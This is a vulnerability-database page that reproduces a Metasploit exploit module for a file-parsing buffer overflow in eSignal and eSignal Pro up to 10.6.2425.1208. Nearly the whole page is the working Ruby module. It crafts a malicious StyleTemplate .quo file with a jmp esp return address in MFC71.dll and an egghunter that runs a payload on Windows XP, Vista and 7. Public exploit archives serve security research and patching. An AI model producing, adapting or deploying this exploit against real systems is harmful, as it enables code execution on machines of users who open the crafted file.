Lucene search
K

eSignal and eSignal Pro <= 10.6.2425.1208 - File Parsing Buffer Overflow in QUO

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

eSignal and eSignal Pro <= 10.6.2425.1208 - File Parsing Buffer Overflow in QU

Code

                                                ##
# $Id: esignal_styletemplate_bof.rb 13765 2011-09-20 17:39:53Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;eSignal and eSignal Pro &#60;= 10.6.2425.1208 file parsing buffer overflow in QUO&#39;,
			&#39;Description&#39;    =&#62; %q{
				The software is unable to handle the &#34;&#60;StyleTemplate&#62;&#34; files (even
				those original included in the program) like those with the registered
				extensions QUO, SUM and POR. Successful exploitation of this vulnerability
				may take up to several seconds due to the use of egghunter.  Also, DEP
				bypass is unlikely due to the limited space for payload.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;Luigi Auriemma&#39;,                          # Original discovery
					&#39;TecR0c &#60;tecr0c[at]tecninja.net&#62;&#39;,         # msf
					&#39;mr_me &#60;steventhomasseeley[at]gmai.com&#62;&#39;,  # msf
				],
			&#39;Version&#39;       =&#62; &#39;$Revision: 13765 $&#39;,
			&#39;References&#39;    =&#62;
				[
					#[ &#39;CVE&#39;, &#39;?&#39; ],
					#[ &#39;OSVDB&#39;, &#39;?&#39; ],
					[ &#39;BID&#39;, &#39;49600&#39; ],
					[ &#39;URL&#39;, &#39;http://aluigi.altervista.org/adv/esignal_1-adv.txt&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/17837/&#39; ]
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
					&#39;InitialAutoRunScript&#39; =&#62; &#39;migrate -f&#39;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1000,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;
				},

			&#39;Targets&#39;        =&#62;
				[
					[
						&#39;Win XP SP3 / Windows Vista / Windows 7&#39;,
						{
							&#39;Ret&#39;     =&#62;  0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
							&#39;Offset&#39;  =&#62;  54
						}
					],
				],
			&#39;Privileged&#39;	 =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Sep 06 2011&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptString.new(&#39;FILENAME&#39;, [ false, &#39;The file name.&#39;, &#39;msf.quo&#39;]),
			], self.class)

	end

	def exploit
		eggoptions = 
		{
			:checksum =&#62; false,
			:eggtag =&#62; &#39;eggz&#39; 
		}

		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

		buffer =  rand_text_alpha(target[&#39;Offset&#39;])
		buffer &#60;&#60; [target.ret].pack(&#39;V&#39;)
		buffer &#60;&#60; rand_text_alpha_upper(4)
		buffer &#60;&#60; hunter
		buffer &#60;&#60; rand_text_alpha_upper(1500)
		buffer &#60;&#60; egg

		file = &#34;&#60;StyleTemplate&#62;\r\n&#34;
		file &#60;&#60; &#34;#{buffer}\r\n&#34;
		file &#60;&#60; &#34;&#60;/StyleTemplate&#62;\r\n&#34;

		print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file ...&#34;)
		file_create(file)
	end
end


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation